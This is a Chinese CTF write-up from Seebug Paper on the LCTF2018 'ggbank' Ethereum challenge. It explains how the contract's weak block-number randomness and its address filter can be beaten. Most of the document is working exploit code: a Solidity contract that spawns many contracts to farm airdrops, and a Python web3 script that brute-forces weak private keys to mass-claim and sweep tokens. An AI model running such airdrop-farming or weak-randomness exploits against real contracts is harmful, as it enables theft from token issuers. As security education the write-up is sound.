LCTF2018 ggbank 薅羊毛实战
时间:2018年11月20日
分析
源代码
https://ropsten.etherscan.io/address/0x7caa18d765e5b4c3bf0831137923841fe3e7258a#code
首先我们照例来分析一下源代码
和之前我出的题风格一致,首先是发行了一种token,然后基于token的挑战代码,主要有几个点
1 2 3 |
modifier authenticate { //修饰器,在authenticate关键字做修饰器时,会执行该函数 require(checkfriend(msg.sender));_; // 对来源做checkfriend判断 } |
跟着看checkfriend函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |
function checkfriend(address _addr) internal pure returns (bool success) { bytes20 addr = bytes20(_addr); bytes20 id = hex"000000000000000000000000000000000007d7ec"; bytes20 gg = hex"00000000000000000000000000000000000fffff"; for (uint256 i = 0; i < 34; i++) { //逐渐对比最后5位 if (addr & gg == id) { // 当地址中包含7d7ec时可以继续 return true; } gg <<= 4; id <<= 4; } return false; } |
checkfriend就是整个挑战最大的难点,也大幅度影响了思考的方向,这个稍后再谈。
1 2 3 4 5 6 7 8 |
function getAirdrop() public authenticate returns (bool success){ if (!initialized[msg.sender]) { //空投 initialized[msg.sender] = true; balances[msg.sender] = _airdropAmount; _totalSupply += _airdropAmount; } return true; } |
空投函数没看有什么太可说的,就是对每一个新用户都发一次空投。
然后就是goodluck函数
1 2 3 4 5 6 7 8 9 10 11 12 |
function goodluck() public payable authenticate returns (bool success) { require(!locknumber[block.number]); //判断block.numbrt require(balances[msg.sender]>=100); //余额大于100 balances[msg.sender]-=100; //每次调用要花费100token uint random=uint(keccak256(abi.encodePacked(block.number))) % 100; //随机数 if(uint(keccak256(abi.encodePacked(msg.sender))) % 100 == random){ //随机数判断 balances[msg.sender]+=20000; _totalSupply +=20000; locknumber[block.number] = true; } return true; } |
然后只要余额大于200000就可以拿到flag。
其实代码特别简单,漏洞也不难,就是非常常见的弱随机数问题。
随机数的生成方式为
1 |
uint random=uint(keccak256(abi.encodePacked(block.number))) % 100; |
另一个的生成方式为
1 |
uint(keccak256(abi.encodePacked(msg.sender))) % 100 |
其实非常简单,这两个数字都是已知的,msg.sender可以直接控制已知的地址,那么左值就是已知的,剩下的就是要等待一个右值出现,由于block.number是自增的,我们可以通过提前计算出一个block.number,然后写脚本监控这个值出现,提前开始发起交易抢打包,就ok了。具体我就不详细提了。可以看看出题人的wp。
https://github.com/LCTF/LCTF2018/tree/master/Writeup/gg%20bank
但问题就在于,这种操作要等block.number出现,而且还要抢打包,毕竟还是不稳定的。所以在做题的时候我们关注到另一条路,薅羊毛,这里重点说说这个。
合约薅羊毛
在想到原来的思路过于复杂之后,我就顺理成章的想到薅羊毛这条路,然后第一反正就是直接通过合约建合约的方式来碰这个概率。
思路来自于最早发现的薅羊毛合约https://paper.seebug.org/646/
这个合约有几个很精巧的点。
首先我们需要有基本的概念,在以太坊上发起交易是需要支付gas的,如果我们不通过合约来交易,那么这笔gas就必须先转账过去eth,然后再发起交易,整个过程困难了好几倍不止。
然后就有了新的问题,在合约中新建合约在EVM中,是属于高消费的操作之一,在以太坊中,每一次交易都会打包进一个区块中,而每一个区块都有gas消费的上限,如果超过了上限,就会爆gas out,然后交易回滚,交易就失败了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 |
contract attack{ address target = 0x7caa18D765e5B4c3BF0831137923841FE3e7258a; function checkfriend(address _addr) internal pure returns (bool success) { bytes20 addr = bytes20(_addr); bytes20 id = hex"000000000000000000000000000000000007d7ec"; bytes20 gg = hex"00000000000000000000000000000000000fffff"; for (uint256 i = 0; i < 34; i++) { if (addr & gg == id) { return true; } gg <<= 4; id <<= 4; } return false; } function attack(){ // getairdrop if(checkfriend(address(this))){ target.call(bytes4(keccak256('getAirdrop()'))); target.call(bytes4(keccak256("transfer(address,uint256)")),0xACB7a6Dc0215cFE38e7e22e3F06121D2a1C42f6C, 1000); } } } contract doit{ function doit() payable { } function attack_starta() public { for(int i=0;i<=50;i++){ new attack(); } } function () payable { } } |
上述的poc中,有一个很特别的点就是我加入了checkfriend的判断,因为我发现循环中如果新建合约的函数调用revert会导致整个交易报错,所以我干脆把整个判断放上来,在判断后再发起交易。
可问题来了,我尝试跑了几波之后发现完全不行,我忽略了一个问题。
让我们回到checkfriend
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |
function checkfriend(address _addr) internal pure returns (bool success) { bytes20 addr = bytes20(_addr); bytes20 id = hex"000000000000000000000000000000000007d7ec"; bytes20 gg = hex"00000000000000000000000000000000000fffff"; for (uint256 i = 0; i < 34; i++) { if (addr & gg == id) { return true; } gg <<= 4; id <<= 4; } return false; } |
checkfriend只接受地址中带有7d7ec的地址交易,光是这几个字母出现的概率就只有1/36*1/36*1/36*1/36*1/36
这个几率在每次随机生成50个合约上计算的话,概率就太小了。
必须要找新的办法来解决才行。
python脚本解决方案
既然在合约上没办法,那么我直接换用python写脚本来解决。
这个挑战最大的问题就在于checkfriend这里,那么我们直接换一种思路,如果我们去爆破私钥去恢复地址,是不是更有效一点儿?
其实爆破的方式非常多,但有的恢复特别慢,也不知道瓶颈在哪,在换了几种方式之后呢,我终于找到了一个特别快的恢复方式。
1 2 3 4 5 |
from ethereum.utils import privtoaddr, encode_hex for i in range(1000000,100000000): private_key = "%064d" % i address = "0x" + encode_hex(privtoaddr(private_key)) |
我们拿到了地址之后就简单了,首先先转0.01eth给它,然后用私钥发起交易,获得空投、转账回来。
需要注意的是,转账之后需要先等到转账这个交易打包成功,之后才能继续下一步交易,需要多设置一步等待。
有个更快的方案是,先跑出200个地址,然后再批量转账,最后直接跑起来,不过想了一下感觉其实差不太多,因为整个脚本跑下来也就不到半小时,速度还是很可观的。
脚本如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 |
import ecdsa import sha3 from binascii import hexlify, unhexlify from ethereum.utils import privtoaddr, encode_hex from web3 import Web3 import os import traceback import time my_ipc = Web3.HTTPProvider("https://ropsten.infura.io/v3/6528deebaeba45f8a0d005b570bef47d") assert my_ipc.isConnected() w3 = Web3(my_ipc) target = "0x7caa18D765e5B4c3BF0831137923841FE3e7258a" ggbank = [ { "constant": True, "inputs": [], "name": "name", "outputs": [ { "name": "", "type": "string" } ], "payable": False, "stateMutability": "view", "type": "function" }, { "constant": True, "inputs": [], "name": "totalSupply", "outputs": [ { "name": "", "type": "uint256" } ], "payable": False, "stateMutability": "view", "type": "function" }, { "constant": True, "inputs": [ { "name": "", "type": "address" } ], "name": "balances", "outputs": [ { "name": "", "type": "uint256" } ], "payable": False, "stateMutability": "view", "type": "function" }, { "constant": True, "inputs": [], "name": "INITIAL_SUPPLY", "outputs": [ { "name": "", "type": "uint256" } ], "payable": False, "stateMutability": "view", "type": "function" }, { "constant": True, "inputs": [], "name": "decimals", "outputs": [ { "name": "", "type": "uint8" } ], "payable": False, "stateMutability": "view", "type": "function" }, { "constant": True, "inputs": [], "name": "_totalSupply", "outputs": [ { "name": "", "type": "uint256" } ], "payable": False, "stateMutability": "view", "type": "function" }, { "constant": True, "inputs": [], "name": "_airdropAmount", "outputs": [ { "name": "", "type": "uint256" } ], "payable": False, "stateMutability": "view", "type": "function" }, { "constant": True, "inputs": [ { "name": "owner", "type": "address" } ], "name": "balanceOf", "outputs": [ { "name": "", "type": "uint256" } ], "payable": False, "stateMutability": "view", "type": "function" }, { "constant": True, "inputs": [], "name": "owner", "outputs": [ { "name": "", "type": "address" } ], "payable": False, "stateMutability": "view", "type": "function" }, { "constant": True, "inputs": [], "name": "symbol", "outputs": [ { "name": "", "type": "string" } ], "payable": False, "stateMutability": "view", "type": "function" }, { "constant": False, "inputs": [ { "name": "_to", "type": "address" }, { "name": "_value", "type": "uint256" } ], "name": "transfer", "outputs": [ { "name": "success", "type": "bool" } ], "payable": False, "stateMutability": "nonpayable", "type": "function" }, { "constant": False, "inputs": [ { "name": "b64email", "type": "string" } ], "name": "PayForFlag", "outputs": [ { "name": "success", "type": "bool" } ], "payable": True, "stateMutability": "payable", "type": "function" }, { "constant": False, "inputs": [], "name": "getAirdrop", "outputs": [ { "name": "success", "type": "bool" } ], "payable": False, "stateMutability": "nonpayable", "type": "function" }, { "constant": False, "inputs": [], "name": "goodluck", "outputs": [ { "name": "success", "type": "bool" } ], "payable": True, "stateMutability": "payable", "type": "function" }, { "inputs": [], "payable": False, "stateMutability": "nonpayable", "type": "constructor" }, { "anonymous": False, "inputs": [ { "indexed": False, "name": "b64email", "type": "string" }, { "indexed": False, "name": "back", "type": "string" } ], "name": "GetFlag", "type": "event" } ] mytarget = "0xACB7a6Dc0215cFE38e7e22e3F06121D2a1C42f6C" mytarget_private_key = 这是私钥 transaction_dict = {'chainId': 3, 'from':Web3.toChecksumAddress(mytarget), 'to':'', # empty address for deploying a new contract 'gasPrice':10000000000, 'gas':200000, 'nonce': None, 'value':10000000000000000, 'data':""} ggbank_ins = w3.eth.contract(abi=ggbank) ggbank_ins = ggbank_ins(address=Web3.toChecksumAddress(target)) nonce = 0 def transfer(address, private_key): print(address) global nonce # 发钱 if not nonce: nonce = w3.eth.getTransactionCount(Web3.toChecksumAddress(mytarget)) transaction_dict['nonce'] = nonce transaction_dict['to'] = Web3.toChecksumAddress(address) signed = w3.eth.account.signTransaction(transaction_dict, mytarget_private_key) result = w3.eth.sendRawTransaction(signed.rawTransaction) nonce +=1 while 1: if w3.eth.getBalance(Web3.toChecksumAddress(address)) >0: break time.sleep(1) # 空投 nonce2 = w3.eth.getTransactionCount(Web3.toChecksumAddress(address)) transaction2 = ggbank_ins.functions.getAirdrop().buildTransaction({'chainId': 3, 'gas': 200000, 'nonce': nonce2, 'gasPrice': w3.toWei('1', 'gwei')}) print(transaction2) signed2 = w3.eth.account.signTransaction(transaction2, private_key) result2 = w3.eth.sendRawTransaction(signed2.rawTransaction) # 转账 nonce2+=1 transaction3 = ggbank_ins.functions.transfer(mytarget, int(1000)).buildTransaction({'chainId': 3, 'gas': 200000, 'nonce': nonce2, 'gasPrice': w3.toWei('1', 'gwei')}) print(transaction3) signed3 = w3.eth.account.signTransaction(transaction3, private_key) result3 = w3.eth.sendRawTransaction(signed3.rawTransaction) if __name__ == '__main__': j = 0 for i in range(1000000,100000000): private_key = "%064d" % i # address = create_address(private_key) # print(address) # if "7d7ec" in address: # print(address) address = "0x" + encode_hex(privtoaddr(private_key)) if "7d7ec" in address: private_key = unhexlify(private_key) print(j) try: transfer(address, private_key) except: traceback.print_exc() print("error:"+str(j)) j+=1 |
最终效果显著
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/747/